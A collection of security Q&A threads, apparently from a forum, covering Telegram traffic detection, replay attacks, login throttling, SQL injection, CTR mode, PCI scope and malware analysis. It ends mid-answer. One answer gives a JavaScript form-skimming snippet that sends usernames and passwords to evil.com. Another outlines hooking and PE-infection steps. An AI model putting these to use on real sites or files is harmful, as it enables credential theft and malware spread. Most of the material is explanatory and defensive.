Filtering Telegram Traffic I want to filter Telegram Messenger to monitor the network activities (logging) from any platform. I'm wondering if there is any signature I can look into to detect the traffic, maybe a list of server IP's and TCP/UDP ports for the telegram service or any other identifier that I can use as a starting point?

I know that the traffic is encrypted. I don't want to look into the content, I just want to register that "this IP used telegram at this time", is that possible? I'm looking for the easiest and the fastest algorithmic way to do this.

Looking at http://wiki.squid-cache.org/ConfigExamples/Chat/Telegram
It seems like telegram's servers are using two ip blocks :

149.154.164.0/22
149.154.172.0/22

I would assume blocking all traffic to them should suffice.

Edit, did a more thorough check and it seems like there more as's listed on telegram:( searched telegram asn here: https://beta.mxtoolbox.com/supertoolmobile.aspx)

As Number   As Name CIDR Range  Monitor
59930   Telegram Messenger LLP  91.108.12.0/22  Monitor this
59930   Telegram Messenger LLP  149.154.172.0/22    Monitor this
62014   Telegram Messenger LLP  91.108.16.0/22  Monitor this
62014   Telegram Messenger LLP  91.108.56.0/23  Monitor this
62014   Telegram Messenger LLP  149.154.168.0/22    Monitor this
62041   Telegram Messenger LLP  91.108.4.0/22   Monitor this
62041   Telegram Messenger LLP  91.108.8.0/22   Monitor this
62041   Telegram Messenger LLP  91.108.56.0/22  Monitor this
62041   Telegram Messenger LLP  149.154.160.0/20    Monitor this
62041   Telegram Messenger LLP  149.154.164.0/22    Monitor this


Avoiding Replay Attacks on Lightweight Channel I'm in the process of building a network of small devices (ARM microcontrollers with something like nRF24L01 connectivity).  The controllers will be receiving commands from a central system over these wireless links, and I'm in the process of designing the protocol.  Confidentiality is a non-goal, but integrity & authenticity are.  Accordingly, we need to validate both the source and avoid replay attacks of the packets.  I'd like to avoid any challenge/response protocols to minimize traffic and battery drain, so what I have in mind is something like this:

Key and device ID are burned in to device in the firmware.
A counter is initialized to 0.
Each command sent to the device contains the device ID, counter++, and the command itself.  Then an HMAC-SHA1 is calculated over all of these fields and attached.
Upon receiving a command, the device verifies the HMAC-SHA1, device ID and ensures that the counter value is strictly larger than the counter stored in NVRAM.  If so, it sets the NVRAM counter to the value in the received packet and carries out the command.
(Possibly an ack of some sort here.)

Is this protocol similar to anything that exists (I couldn't find anything) or is there anything suitable that already exists?  Am I missing a major flaw?

Only suggestion I can give is to always check for acks, and make them include the counter, otherwise an attacker could selectively drop (or delay, but not reorder) packets.

Also, you need to think of a way to keep track of every device counter's value.


Security quiz for developers Does anyone know of a short security quiz that could be administered online, to test the security knowledge of a developer?  I'm looking for something simple to administer and simple to grade, ideally something that would take a developer only a few minutes, as a screening tool to differentiate folks who have no experience with security from those who have at least a minimum level of knowledge/experience.

Ideally, this would test knowledge of security problems in web application code (most especially, PHP code, but others would be useful too).

Does anyone know of anything like this?  Or even something that's in this general space?  Alternatively, does anyone have any experience with designing or using such a quiz?

Use DVWA or Mutillidae, get them to fix the code, then demonstrate pre/post fix behavior? Perhaps a little more complex than you were thinking, but it would also prove their coding ability.

Or, if this is too much, get them to go through DVWA at lowest security settings, looking for certain data? (get usernames, login without creds, etc.) You could even reduce the quiz to asking a single question? "What is the admin's password?" It won't test their coding knowledge, but how to test for insecure coding practices.

Full disclosure: I have not used these as a quiz.


Throttling failed login attempts: exponential timeout? by IP? using a session cookie? captcha? I'm beginning to think this is not as simple as it looks, and many "accepted" answers here and in SO have alternative answers that criticize them. Here is what I have gathered so far

Most of what I gathered is from this SO question

Using IP - not accurate

  For ex. in countries like Singapore there are limited number of ISPs and a smaller set of IPs which are available for home users

Also I think this is not effective in distributed brute force attacks

Using session cookie - easily to overcome, doesn't take long to erase a cookie and not effective in distributed brute force attacks

Using the username - exponential increasing timeout - can have workarounds

  If I have a list of 1000 usernames, I'll try user1+password1,
  user2+pasword1, user3+password1... user1+password2, user2+password2

Using recapcha - good but you still need to know it's the same "user" (which can be doing a distributed attack, clearing their cookie, etc)

So I assume there is no perfect solution, but is there a considerably "good" solution approbed by any organization such as OWASP for handing throttling of failed login attempts?

I once considered using approach similar to Merkle's Puzzles. For example you could require every login attempt to be signed with HMAC using one time key. For example server could prepare puzzle in following way:
- seed (long random value),
- r (random integer value within some arbitrary range),
- key = PBKDF2(seed, r)

Than server could send following puzzle to the client: (seed, hash(key)). In order to get valid key, client would have to brute force this puzzle (check sequentially r values, compute PBKDF2 for given seed, compare its hash to hash(key) received from server). When client finds correct key, it uses it to sign one login attempt.

In this approach amount of work is asymmetrical between client and server (client has to do more calculations). Moreover, server can adjust the "work factor" changing the range from witch r value is selected.

Of course this scheme would not prevent password brute forcing, but it would increase cost of such an attack.

As I said it is only rough idea, I'm not sure how good it would work in practice.


How do you prevent/guard against a wireless disassociation attack Going over the security+ lectures by professor Messer here, he explains and demonstrates a wireless disassociation attack very well. But no where in the video does he explain how this type of attack is prevented and I can't seem to think of ways that this could be prevented (asides from upgrading the WIFI standard).

How do modern day users prevent wireless disassociation attacks? What's stopping me (asides from legality) from hopping to a network and sending disassociation packets to everyone else's device?

This can be protected from with the IEEE 802.11w, also called Management Frame Protection (MFP), which provides authentication for Wi-Fi management frames, including those related to deauthentication and disassociation. When protected management frames are supported and enabled by both sides, the attack will not work because it will fail to authenticate as legitimate and will be ignored.

According to the above-linked Wikipedia page, the frames that are protected by 802.11w are:

Disassociation and deauthentication
Radio measurement action for infrastructure BSS (802.11k frames)
QoS action frame (802.11e frames)
Future 11v management frames (802.11v frames)

The frames which are not protected due to infeasibility are:

Beacon and probe request/response
Announcement traffic indication message (ATIM)
Authentication
Association request/response
Spectrum management action

Unfortunately, lots of hardware does not support 802.11w, and lots of software does not take advantage of it even when it is supported, so its utility may be limited and you will not often encounter it as an obstacle to deauth attacks. Note that this does not and cannot protect against a radio jamming denial of service attack where the entire spectrum is saturated with noise. However, such arbitrary jamming is far less stealthy and cannot be used for targeted attacks, rendering it a much less likely source of DoS.

As mentioned in the comments, IEEE 802.11w is not perfect, and other denial of service techniques exist. A paper called A Formal Analysis of IEEE 802.11w Deadlock Vulnerabilities shows how deadlocks can be exploited to selectively deny service to any associated clients. The paper concludes by demonstrating the inadequacy of current methods for validating specs like 802.11w and recommends formal methods.


Is it possible to intercept traffic by using a WAN facing DHCP server on an ISPs cable network? I am running pfSense on an edge firewall conncted to a cable line. I can see many DHCP requests hitting my firewall. I guess this requests are getting send by cable modems currently booting up and looking for the ISPs DHCP server, which later on hands out DNS server and TFTP options, so the modem knows on what parameters to run on and where the GW is.

I started wondering: What if someone set's up a WAN facing DHCP server and answers those requests? That bogus DHCP server could offer a DNS server/GW IP address which is equal to its own and intercept/re-route all traffic.

I know that my ISP uses DOCSIS version 3, which offers forms of authentication and encryption. However I am not aware of the implication to the IP assignement and cable modem setup procedure.

Is such a scenario possible? If yes, how can I protect myself from it? This MITM would be hard to detect.

This (old) talk gives a lot of background information about DOCSIS, how the protocol works and discusses weaknesses in the cable company implementations:

https://www.youtube.com/watch?v=BBtdZDah6iE

The DOCSIS spec is reasonably readable and available online.  The presentation is helpful at getting a high level understanding of how it works and how it doesn't.

Hopefully somebody can provide a more complete answer.


How do I capture POST data then forward user to another page? I currently have a demo site setup where I load the login form over HTTP and then POST to a HTTPS URL. The aim is to demonstrate that this is not a secure method of handling the login.

I'm using Fiddler to alter the target for the HTML form to a page of my own. I'm trying to capture the POST data but then forward the user to the genuine site with the original data so in effect my interception is invisible to the user.

I'm using PHP and I have everything working up to the point of the redirect so all the data is being stored in my database. I'm thinking perhaps a 307 including the original POST data but I'm not sure how to do this in PHP, can anyone help?

This is much easier than what you're trying to do. Simply intercept the submit event and make a request to the evil page which will store the stolen credentials and return some 1x1 image, then the browser will automatically handle submitting the form to the correct legitimate destination. Here's a PoC (inject this before </body>)

var form = document.getElementById('myForm');
form.onsubmit = function(){
   var username = getElementById('userNameField').value;
   var password = getElementById('passWordField').value;
   var fakeImage = new Image();
   fakeImage.src= 'http://evil.com/evil?user=' + username + '&pass=' + password;
   fakeImage.onload = function(){document.getElementById('myForm').submit()}
   return false;
}

I'm pretty sure this is not the best way to do this, but this is just the general idea.

This is pretty much what the Tunisian government was doing to steal activists' Facebook accounts; They'd inject something like that in the HTTP-loaded homepage and steal the credentials.


how to investigate diff between theguardian.com and tehguardian.com One website is the....com the other is teh....com. They display the same content.

The whois data is radically different. Ping reports different IPs.

TheGuardian.com hasn't responded to my request for clarification.

How can I investigate the maliciousness, if any?

How can I investigate the maliciousness, if any?

It is not malicious, the tehguardian.com can be considered as a parody of the guardian.com.

  They display the same content.

If you look very closely you will see the are not identical.

Some Background

The Guardian Newspaper is well known for containing for containing spelling mistakes and grammatical errors - it had the nickname The Grauniad as a result:

  Deliberate misspelling of Guardian, coined by the UK satirical magazine Private Eye. Refers to the fact that in earlier years the Guardian newspaper was well-known for typographical errors.

Someone (stef) then thought it would be funny to produce a spoof website that was a copy of the The Guardian website but with deliberately inserted mistakes.

  I’ve made a little hack called TehGuardian.com — it inserts random
  grammar and punctuation mistakes into TheGuardian.com. Can you spot
  the mistakes?

  You may remember that in 2013 The Guardian rebranded online as The
  Guardian. No, I thought it was a bit odd too. Something to do with
  guardian.co.uk changing to theguardian.com

  Now, if you saw that happening, what would your immediate reaction be?

  Of course. Same here. I went to my usual domain registrar site, and
  whacked in thegrauniad.com but obviously they’d thought of that.

  So I typed in “tehguardian.com”, “teh” being the proper way to spell
  “the” on the internet, and gosh. Would you look at that? Somehow
  nobody had thought to buy it. And I use one of those one-click domain
  registrars. And I was feeling mischevious. And…

  ...

  TehGuardian.com

  It’s the Guardian website as we know and love. But every single
  article page has up to five grammatical errors introduced into it.

  So if you make the mistake of typing in “teh” instead of “the” when
  you try to reach the Guardian, you’ll also receive a slightly glitchy
  version back.

  It’s quite subtle. Probably my subtlest hack yet.

  Every article that you read via tehguardian.com is exactly the same as
  an article on theguardian.com except that I have introduced incorrect
  Oxford commas, instances of “s’s” where it should be “s’”, swapped
  “they’re” for “their” and a handful of other grammar-pedant-traps.

Source Teh Guardian FTW!!!1!


Is SQL injection possible via integer? Below is the following pseudo-code:

public  updated(int id) {

  // Note that variable **id** is not surrounded by single/double quotes.

  sql = "Update table user set status=2 where user_id=**id** ";

  // execute command
}

Is this vulnerable to SQL injection ( Arithmetic SQL injection perhaps) ?

No, your query expects an integer and is guaranteed to get one. An SQL injection vulnerability only emerges when an attacker can supply unexpected data that would alter the query. Different integers don't influence the syntax. But as soon as you stop enforcing the type it becomes unsafe.

As @CodesInChaos remarked, if you are the author of this snippet you should consider using parametrized queries instead. That way the supplied type becomes irrelevant which is easier to audit and harder to break by accident.


What is the exact meaning of "Keying material"? I have seen this term in many docs on IKE and ISAKMP.  These docs seems to be written for Security experts but not everyone who needs to setup an IPSec tunnel needs to be a security expert :-) So what exactly do they mean with this ?

What is the exact meaning of “Keying material”?

Keying material is a more general and fancy term for "secret keys of (unspecified) format, length and amount", where the "unspecified" part may be clarified depending on configuration or is just outsourced to other sections of the paper.

It is this general to include things like shared Diffie-Hellman secrets (which are not suitable as symmetric keys), which have more structure than normal keys.
It provides a nice sense of abstraction. For example I might say: You feed your keying material into a KBKDF (like HKDF) and use this as the input to TLS-PSK, without ever having to know how you established that material (DH? ECDH? PSK?)
It allows to not care about the actual format or location of keys (is the key in software, on a card or in a HSM and how is it stored in detail?) as it just tends to be used for "you (but nobody else) have access to this".
It allows to include multiple keys which are needed to access one particular system (e.g. if you'd need two keys to access something you'd just say keying material instead of "key a and b").


Keeping passwords out of source code Secrets should not be in source code and in version control because of two reasons:

External threat: An attacker can exploit a vulnerability to get access to files/source of your website/application. For example by exploiting directory traversal or arbitrary file download vulnerability. Such an attack should not lead to leaking of secrets.
Internal threat: A developer maliciously copying/distributing source code. Understandably, there needs to be a small subset of people who need to know these secrets, what we are trying to avoid here is to have the secrets visible to all developers in the organization who have access to the version control system.

Environment variables is one usual solution. However, if the build scripts are also versioned then we are just changing the location of secrets from source code to the respective hudson/jenkins/capistrano script.

What are the best practices to keep passwords out of source code?

I can think of a couple of options which may help.

1)Keep the config file on the live servers and have the build process copy it to the new deployment folder. As long as you restrict access to the live box, you get away from everyone having access.

2)Encrypt the passwords and have the decryption keys live on the server. anyone without access to the box can't decrypt the file.

3)Use RSA, give the server a private key and store the public key in the app database. The public key encrypts the password file, the app grabs the servers private key and uses that for decryption. This way, anyone can have the config file and anyone with access to the DB can create one. Only people with access to the certificate store on the server can access the decryption key. You can add signing if you want.

You can keep copies of the keys/passwords somewhere with restricted access in case you need to recover them.


Is it secure to get auth TOKEN from server with javascript? Is it secure to manipulate with auth token inside client side javascript over https ?
I want to pass that token to websocket after login.

$.getJSON(
$SCRIPT_ROOT + '/jscript_get_auth_token',
{},
function(data)
{
    // Extract token from data then manipulate .. pass to function etc.
    token = data.result
});

your question title is different to the question in your post.

is it secure to get the token via JavaScript from the server - this depends on the server side validation method in place. assuming these are OK

manipulating the token in JavaScript and then sending to a web socket should be fine as long as server side validation is good.


Secure way to distribute and verify OpenPGP public keys? Let's say that there is a company who needs to make a few employee's OpenPGP public keys publicly available for customers of the company over the Internet. Distribution of the keys would be simple, but how can this company ensure that these keys truly belong to those employees?

One way to do it is to make a webpage which is available only over HTTPS (prevents MitM attacks). The web-server certificates are encrypted by a trusted certificate authority (ensures that web-page actually belongs to that company). This web-page then contains the public keys of the employees.

Is there a better (more secure or easier to use) way to achieve verification of the public keys identity?

Physical distribution of public keys is unfortunately not possible in this case.

You want to guarantee that the key you give out isn't compromised on the way to the recipient. The easiest way is to use an authenticated, encrypted communications channel such as HTTPS (as you mentioned in your question). Sites that fit this criteria and are publicly available, and are made specifically for distributing keys already exist and are easy to use. A common site is https://pgp.mit.edu/ but there are others as well.

Really, the biggest benefit to a site like MIT's is that you don't have to worry about setting up HTTPS. If you have your own HTTPS site already set up then you could just as easily add a page with your organization's public keys.

Some other options that I think are less convenient:

Send the recipient an email that you signed with your key. This includes the public key by default. If you are concerned that the email will be tampered with, then call that person and have him verify the key's fingerprint. It is short enough that over the phone verification isn't unreasonable.
use a VPN to create a secure channel and transfer the key over the VPN.
get a mutually trusted certificate authority to sign your public key.


Does server RAM count as storage for PCI Compliance? We are an eCommerce website. I'm working on our PCI compliance at the moment, and I'm trying, if at all possible, to argue that our organisation falls under SAQ A rather than D. We do not sensitive card details in a database, physical media etc etc. We've passed numerous PCI scans.

Our payment flow is as follows:

Add items to basket.
Enter address details.
Move to new page, hosted on our own website (which itself is generated by a dedicated server, hosted at a PCI compliant data centre) where the customer enters their card details.
These details are then HTTPS POSTed to our server where they are assigned to a variable and then cURL Posted (with SSL) to our 3rd Party Payment processor.

I'm hoping that because card details are held in volatile RAM rather than any permanent storage we may still fall under SAQ A. If we do not, (and only considering the above criteria) would we fall under SAQ C or SAQ D? I've previously been advised SAQ C but this seems to be reserved specifically for hardware payment applications, which we don't use.

It is not storage, but it is handling, processing and transmitting.

To qualify as SAQ A you must be able to state,

"Your company does not store, process, or transmit any cardholder data
on your systems or premises, but relies entirely on a third party(s)
to handle all these functions;"

You are however transmitting cardholder data, thus you do not qualify.

For SAQ C, you appear to not qualify due to:

Your company does not otherwise receive or transmit
cardholder data electronically through any channels
(for example, via an internal network or the Internet);

C only is intended to apply to companies that are entering the card information in to their site after taking the information via a non-electronic means (such as credit card information entered on a mailed in statement.)

You can check with a PCI-DSS specialist that can look at your situation in more detail, but you appear to fall under the SAQ D.

In order to avoid PCI-DSS requirements, you would need to never handle or touch PCI data in any way.  You would need to provide the amount to bill to a third party provider who would handle the entry of PCI and payment processing and then return you a non-PCI linked payment receipt code.


Have I been pwned? Public SSH with key I have a dedicated server with public IP address, opened port 22 and fail2ban running. I am using root account (I know it is wrong but I have to) and I have disabled logins with password. I am using an RSA 4096 bit key with key password (10 characters length with mixed letters, numbers and symbols).

Today checking the server and some logs, I saw on the screenshot below  2 Chinese IP addresses and my IP address from my office (for privacy reasons I have blanked my IP address)

using last command seems to be the only one that has logged in at system.

Do I have to worry? Are there any tips to better secure my server? (running Ubuntu server Xenial 16.04 LTS)

Anybody can establish a connection to the SSH server which means that this information does not say anything about a successful login. Restricting access to key based authentication only is a wise choice and will prevent the typical password brute force attacks. It will not prevent a simple connect to the SSH server though, but at this stage no real harm is done yet.

As for additional security settings please the the various questions about this topic on this site, like What methods are available for securing SSH?. There is no need to repeat everything here.


What do these terms means with relation to viruses and operating system? Often times I've heard viruses using "hooks" and "embeding" themself into files. For example from Wikipedia's article on Mebroot

  The Trojan tries to avoid detection by hooking itself into
  atapi.sys. It also embeds itself in the Ntoskrnl.exe.

What is a hook? What does mean to embed? An executable file (like Ntoskrnl) isn't like a text file where you can just append stuff to the end. As far as I know, you can't arbitrarily modify an executable (if I'm wrong, then my question is how do viruses do it?).

Malicious software will often use the Windows API (Application Program Interface) to perform it's activities. In some cases malware will monitor and hook these function, there are many ways to do this:

Inline
IAT (Import Address Table)
EAT (Export Address Table)
Guard Pages

Hooking a function allows the program to analyse and/or modify the function parameters or return result. This can be used to hide from antivirus solutions, load more malicious code into other processes etc...

Inline hooking is often achieved by overwriting the first few bytes of the function with a jump to malicious code.

IAT and EAT hooks are modifications to the PE (Portable Executable) header which redirect called functions to the malicious code.

Guard Pages can be used to hook functions as the malware can set guard pages on the first bytes of a function and handle the exception when the memory is executed.

Infecting / Embedding code in executables requires in-depth knowledge of the PE format. Using the Windows API a program can read and write to files on disk. The basic steps a program would need to follow to infect an executable:

Open the executable file with read and write access
Create a new section in the executable and write the shellcode into the file
Modify the PE Entry Point to point to the virtual address of the new section

If you are interested in the PE format, I suggest this link - http://www.openrce.org/reference_library/files/reference/PE%20Format.pdf


How to fix Spectre variant 3a and variant 4?e How I can fix CVE-2018-3640 [rogue system register read] aka 'Variant 3a' and CVE-2018-3639 [speculative store bypass] aka 'Variant 4'? My status for them is VULNERABLE. I have Intel CPU and using kernel 4.17.

I read on a site there is a framework called 007 that fixes Spectre very easy, but I can't find it on GitHub.

There's not much you as a user can do besides waiting for processor microcode updates (Spectre v3) and browser updates (Spectre v4).

Once the microcode updates are here, you then have to update all the software that you use, because these have to be rewritten and recompiled to incorporate changes that are needed to mitigate Spectre (especially how software handles memory disambiguation).

If your browser is up to date, it is now very hard[citation needed] to execute a Spectre v4-based attack. The first wave of updates dedicated to mitigate Spectre limited certain high-resolution timer functionalities. If you update your browser and generally don't use JavaScript on untrusted sites, you are probably safe. If you want to target Spectre attacks specifically you can only disable Just in Time-Compilation (JIT).

Regarding 007: afaik this is a framework/tool for programmers and developers, not for the average end user because the source code has to be accesible at the very least. I'm unsure what other requirements there are.


Can your Windows or Linux username be exposed to websites? For example:

Accessing a website with javascript enabled can expose information such as browser, fonts and local time. Can it, theoretically, expose your Windows or Linux username?
Will saving a file or attaching a file (as normally done by webmails) expose your Windows or Linux username, by accessing your directory tree?

Can the username we use to log-in to operating systems be exposed to websites in some way?

The username is not commonly exposed to websites. Perhaps it can be done with Java in some way, but not by the browser by default. Note that I mean Oracle's Java, not Javascript!

Some websites use Active Directory authentication. If you visit one with Internet Explorer that runs in the same Windows domain as your computer is in, you'll automatically be logged in. This uses some form of HTTP-level authentication and transmits your domain, username and the computer's hostname. Your password is not transmitted; the browser only answers a challenge from the server and proves its identity that way.

Internet Explorer only sends this info (username, domain and hostname) after the server has sent a challenge as well as the domain, and the domain matches the client's domain. For example if the server advertises that it is running domain Contoso and the user is also logged in to the domain Contoso, then Internet Explorer will proceed with authentication and provide a username, domain, hostname and challenge response, where the challenge response is a password substitute.

If the domain does not match, for example the server advertises to belong to Contoso2, the user will be prompted for credentials (username and password). If the users enters these credentials, the username will of course be sent to the server, together with your hostname. The password is still confirmed by a challenge, this is never sent. Note that even if you enter a blank username and password, your hostname will still be exposed! The only safe exit is the cancel button.

The only way to retrieve the username automatically, as far as I've been able to find, is by knowing the domain that the user is logged in at, and having the user use Internet Explorer. I suppose the domain name is often guessable, so high-profile targeted phishing might be possible. Then again, you can never retrieve the user's password automatically, merely the username and hostname, so I'm not sure how useful this is. Perhaps to make a targeted phishing attack even more personal.

Another method to obtain the username is by this ActiveX control:

<script type="text/javascript">
alert(new ActiveXObject("WScript.Network").UserName);
</script>

Testing this in Internet Explorer 9, it gives two warnings. First of all a warning on the bottom of the screen that asks whether I want to activate ActiveX components on the page, and a second warning asks whether I'm really sure because it might be harmful. With some social engineering you might trigger the username this way... but there are probably easier ways.

Other browsers such as Firefox always prompt for a username and password when visiting such websites. I think this data is sent unencrypted, but I haven't looked that up. Best is to always use transport layer security (e.g. https) when performing any sort of authentication. But this kind of authentication is not automatic, so probably not relevant for your question.

Update: Something I forgot to address that you asked was whether the username can be exposed when selecting files with the input type=file element. In short: no. Older browsers might do this, but in recent versions of Chrome, Firefox and IE9 I've tested it and none of them expose the full path. In Firefox you might notice the mozFullPath property, but this returns an empty string when Javascript tries to access it. Only code with special privileges (I imagine such as add-ons) can use this. Also the HTML5 file API specification mentions the word "path" only once, to tell that it should not be exposed.

Disclaimer: Much of the Active Directory stuff was simply tested, there might be mistakes. I have two domains here so that makes it easy to see the behavior with Wireshark when you log into either the own or the other domain. I used IE9 for the client, and Windows Server 2008 for the server. I also used another test server (php) based on this script: http://siphon9.net/loune/2007/10/simple-lightweight-ntlm-in-php/


Understanding how openx cache was infected I have a system that uses openx for serving banners. I have recently noticed that several cache file in /var/cache contain infected code. The code contains sql queries that create several php files in the filesystem. These files are web shells that contain code that enables an attacker to execute operation system commands on the openx server. My problem is I have no idea how the cache is infected. I am ignorant as to how new files are created in the cache and how an attacker can control their content. Is anyone familiar with this situation or can point my in the right direction?

ultimately I intend to upgrade my openx version but as part of my forensics it is important for me to understand what was the attacker's modus operandi?

OpenX Ad Server version 2.8.10 was shipped with an obfuscated backdoor since at least November 2012 through August 2013, remove and install a fresh version of OpenX.


What attacks does IPSec protect against? As in the title, what attacks does IPSec protect against?

In short, Internet Protocol security (IPSec) is a framework of open standards for helping to ensure private, secure communications over Internet Protocol (IP) networks through the use of cryptographic security services. It is  integrated at the Internet layer (layer 3), it provides security for almost all protocols in the TCP/IP suite (through different policies) and it can help against:

Network-based attacks from untrusted computers, attacks that can result in    the denial-of-service of applications, services, or the network
Data corruption
Data theft
User-credential theft
Administrative control of servers, other computers, and the network
Block untrusted communications

Most of these threats occur throught some sort of Man in The Middle attack. Even if an attack like that is successful, using IPSec will keep the data encrypted and make sure they all reached their destination without any alterations on their way.


Can anyone with access to root CA private key decrypt HTTPS traffic? Can anyone with access to root CA private key decrypt HTTPS traffic of sites using certificate signed by that CA ?

and if yes do he need to be man-in-the-middle or just monitoring traffic is sufficient?

No, this is not the case.
A certificate signed by a CA contains only the public key, but for decrypting you need the private key too. This private key is not needed for the CA to sign the key, so they usually don't have it either.

But, some CA offer to simplify the process of certificate generation by generating a key pair for the certificate too. In this case the CA knows the private key at least for a short time and the owner of the certificate has to trust the CA to forget the key after certificate and key were downloaded by the owner of the certificate. This is much more trust than just the signing of an existing CSR (which does not contain the private key).

Apart from that even private key does not help to simply decrypt sniffing traffic if the key exchange is done with Diffie-Hellmann (DHE, ECDHE). In this case the attacker would need to mount a real man-in-the-middle attack to actively intercept and modify traffic.


Is this how to implement CTR around a system that only implements CBC, CFB, CTS, ECB and OFB? The encryption library in my programming language does not support CTR, though it supports CBC, CFB, CTS, ECB and OFB.  I'm assuming it is theoretically possible to securely implement CTR around one of these other modes.

So I'm wondering, are these quotes describing correct implementation of CTR from a security perspective?  As far as I've read I think they are, but I just want to make sure I'm not missing something.

  I studied a bit more and found out that the block transform for CTR mode is really just the result of XOR'ing the plaintext with an AES ECB transform of a monotinically-increasing counter. With that understanding, I was able to implement a AES CTR mode pretty easily on top of the AES ECB mode that is built into the .NET BCL.

And,

  It is possible to implement AES crypto in CTR mode using the AesManaged class, though it requires some extra work. To implement CTR mode with the .NET AesManaged class, here's what I did:
  Use CipherMode.ECB, PaddingMode.None. [No padding is necessary in CTR mode because we are always encrypting a 16-byte counter.] When encrypting, call CreateEncryptor(). Using the resulting ICryptoTransform, for each block, transform a nonce of 16-bytes (Same as the AES block size), and then XOR the result of that transform with the plaintext to get the ciphertext. Increment the nonce after each block. Continue until there are no more blocks - don't forget the final block transform, for the last block of 16 or fewer bytes.

For one thing, when the quote says 'increment,' what kind of increment should it be?  Surely not linear?

The texts you quote are correct: CTR mode is indeed about encrypting the successive values of a counter, and XORing the resulting stream of bytes with the data to encrypt.

CTR mode is an "approved" mode of operation, as the NIST states. For the "increment", it can be about any way of going through 128-bit values as you want (I am assuming a block cipher with 128-bit blocks, such as AES), but if you seek interoperability, then "the" standard CTR mode is the following:

The counter is a 128-bit unsigned integer, i.e. a value between 0 and 2128-1.
The counter is encoded as a sequence of 16 bytes using big-endian convention (first byte is most significant).
The Initial Value (IV) is the big-endian encoding of the first counter value; in other words, with AES/CTR, the first 16 bytes of the ciphertext are the result of the XOR of the first 16 bytes of the plaintext with the encryption of the IV (as a 16-byte block).

Since most programming languages do not have 128-bit integer values, the counter increment is usually done byte by byte (begin with byte 15, increment it; if the result is 0, there is a carry and you continue with byte 14, and so on; otherwise, just stop there).

CTR mode security relies on never having the same counter value be used twice for a given key. 128-bit blocks are a large space; choosing the IV randomly and uniformly is sufficient to ensure this no-reuse policy. Using CTR mode with a block cipher which has smaller blocks (e.g. 3DES and its 64-bit blocks) could be dangerous, because a 264 space is not that large.

One way of viewing CTR mode is that it turns a block cipher into a generator for a long stream of pseudo-random bytes; XORing this stream with the data to encrypt makes it a stream cipher.


How to perform a proper DDoS test in a safe and controlled way? What is the proper and safe way to perform a DDoS test without crashing the whole infrastructure?

What different types of DDoS attacks are there and what things should be considered performing such a test?

Also, where can you rent a "botnet" or a similar (cloud) service to perform a realistic test?

If you are performing load testing at high packet rates, the most safe way is to isolate it completely from the rest of the network. For example, you can connect two servers by direct 10GBps link without switch, and use another LAN connection on benchmarking server to ssh to one server to run the test.

Another way is to provision servers in Public Cloud like AWS for short period of time and run it there. You don't risk impacting your infrastructure. It's OK to do it, cloud infrastructures are resilient so if you flood your server with packets it's just small bit in a lot more of traffic. Of course if would be good to provision big, fast machine, or even dedicated one so that you can really see how much load your software takes.

Regarding software, you can use generic ab which is "Apache Bench" and it's part of Apache packages. You can test resilience of your web server (static files from httpd) and application server (dynamic ones from PHP, Ruby, Java).
You might look for other, professional load testing software for specific protocols which may include API and video streaming testing. There are many of them depending on what protocol you are using (like REST etc).

Then proceed with usual network stack tuning as well application tuning to gain more performance (same on the client side like ulimit). Keep track record of your results. And also, try to analyze the logs properly with either free software like AWStats or commercial Sawmill. Avoid using grep ;-) Analytics is what will show you real results. Also note that ab is good for httpd but sometimes has issues with other web servers. And in AWS you can use Load Balancer which shows real-time stats as well. Record network stats with Nagios, Zabbix etc to see how the network stack performed (e.g. dropped connections, packet rate, CPU usage etc).

Never hire DDoS attacks as these are criminal gangs and you risk a lot, not only legally for yourself but also for your ISP, your business and your customers.


Locking Linux system to work on certain hardware only Is there a way of locking a Linux system to work with a specific (pre-defined) hardware only? I am developing a commercial product and want to make it a bit harder for someone to clone the whole working system so I am thinking of tying the SW and HW together so that one would need special SW image for a given HW.

My exact scenario is an embedded board (Raspberry Pi 2 with Raspbian) that boots from an SD card. The problem is the SD card can be easily exchanged between boards so I would like the SD card to only work with a single particular board. I will be using a custom binary (which I compile myself from C++) to provide the functionality of the product. I could simply check for specific HW ID (RPi serial number or MAC address) from my binary but that would still leave room for someone to fake those HW IDs on an OS level and then start my binary on top of it.

I guess encrypting the whole system may provide a bit more protection but the key (be it a SW password or a HW ID) has to be saved there too for the system to boot so if an "attacker" finds it he will decrypt the system image anyways? The system works in read-only mode.

What is the best protection I can get on a system with exchangeable main storage? I guess an embedded storage may be a bit harder to read but probably again won't provide 100% protection?

EDIT:

Regarding my reasons for the protection: my scenario is an embedded computer vision device that has no direct UI (image output to display or monitor) but only does an acoustic beep warning in certain cases. I don't mind SW piracy as long as it at least brings some say "product promotion" or marketing (like it is the case with pirated Microsoft Windows for instance - even when pirated it helps to promote the product since it is branded and the logos are all over the UI) - but this simply is not my case. Cheap Chinese clones of ELM 327 chip are good examples of embedded SW piracy - the SW was read out from the PIC controller and is now sold very cheaply.

The short answer is "No, there's no way to lock software to a specific piece of hardware that cannot be broken.".  You're essentially talking about implementing some form of DRM, and tying your software to a specific HW.  The brute force approach is simply to go into your code and modify it to stop looking for the HW check.  This is one approach that software crackers have taken for decades to defeat copy protection.  Many have tried to block crackers.  All have eventually failed.

The long answer is you might be able to stop some set people from using your software for some length of time on unapproved hardware.  Security doesn't have to be perfect to be useful.  A set of handcuffs can be picked with a paperclip, but they still have some marginal use.

After reading your edited response, the threat model sounds like it's professional reverse engineers who want to clone your product.  That essentially means you're doomed from a stopping reverse engineering perspective.

I'm not familiar with the example you have of the ELM327, but the wikipedia entry leads me to believe it's look a chip from 1976, so it's no longer protected by patent, and isn't copyright-able.  You can't protect your invention from being cloned after the IP rights have run out.  Someone invented the pencil with an eraser on it and had the rights to sell it exclusively for many years, but anyone can produce a pencil with an eraser on it now because the IP ran out a long, long time ago.

I'd say by far your best weapon against commercial cloning is intellectual property laws.  File patents,and make sure your software has the appropriate copyrights applied to it in the various districts.  Contact a good IP lawyer.  It'll only really become an issue if your product is successful, so you'll have money to pay lawyers to fight any IP infringement.


Decrypting SSL traffic using Fiddler to see requests being sent by malware written in .NET I tried to find the GET data of some malware but it appears that this malware is encrypting traffic using SSL.

When I tried to decrypt the SSL data via Fiddler, I always get nothing — only information about the SSL configuration as you can see in the picture.

I installed Fiddler's root certificate;
This is .NET malware.

Is there a way to read the data?

If you can see the TLS handshake but nothing more (that is, the CONNECT request is not followed by any other requests), the client (the malware in this case) is probably pinning the server certificate (or at least public key), and rejecting the certificate that Fiddler offers it because that's not the expected one. If this is the case, you still have a few options (however, they all require some degree of reverse engineering). In no particular order:

